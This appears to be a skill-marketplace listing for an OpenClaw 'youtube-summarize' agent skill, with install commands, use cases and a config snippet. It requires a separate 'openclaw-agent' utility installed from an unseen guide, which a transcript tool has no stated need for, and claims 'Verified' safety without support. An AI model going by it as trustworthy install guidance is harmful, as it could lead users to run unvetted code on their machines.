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Official Verified media Safety 4/5

youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Efficiently extract transcripts and metadata from YouTube videos using OpenClaw. Summarize long content, key points, and video details instantly.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ib7el
Or

What This Skill Does

The youtube-summarize skill is a powerful OpenClaw tool designed to extract transcripts and metadata from any public YouTube video. By leveraging the industry-standard yt-dlp library alongside the required openclaw-agent utility, this skill bridges the gap between raw video content and actionable text data. It automates the complex process of fetching subtitles, parsing VTT files, sanitizing timestamps and formatting tags, and preparing the content for direct analysis by an LLM, enabling users to digest long-form content in seconds.

Installation

Installation is a two-step process requiring both the local utility and the skill registration. First, ensure you have installed the openclaw-agent by following the instructions for your OS (Windows or macOS) as outlined in the prerequisite guide. This utility is mandatory for the file handling and transcript extraction processes. Once the agent is operational, install the yt-dlp library via pip install yt-dlp. Finally, register the skill in your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ib7el.

Use Cases

This skill is perfect for professionals, students, and content creators. Use it to generate quick summaries of long technical lectures or webinars without needing to sit through hours of video. It is also excellent for conducting sentiment analysis on product reviews, extracting specific data points from news clips, or creating comprehensive blog posts and articles based on video research. If you need to verify if a video contains specific information before committing your time to watching it, this is the ideal solution.

Example Prompts

  1. "Summarize this video for me: [LINK]. I need a bulleted list of the three most important takeaways."
  2. "Can you extract the transcript from this YouTube video [LINK] and explain the core argument the speaker is making?"
  3. "Get the metadata and a brief overview of this tutorial [LINK] so I can decide if it's relevant for my current project."

Tips & Limitations

Note that this skill relies on the presence of English subtitles or auto-generated captions; if a video has captions disabled or no speech, the summarization will fail. Always ensure the openclaw-agent is running in the background, or the skill will return an error when attempting to process files. For best results, use videos that contain clear audio, as background noise often leads to poor-quality auto-generated transcripts that may affect the LLM's summary accuracy.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-ib7el": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#transcription#summarization#automation#research
Safety Score: 4/5

Flags: file-write, file-read, code-execution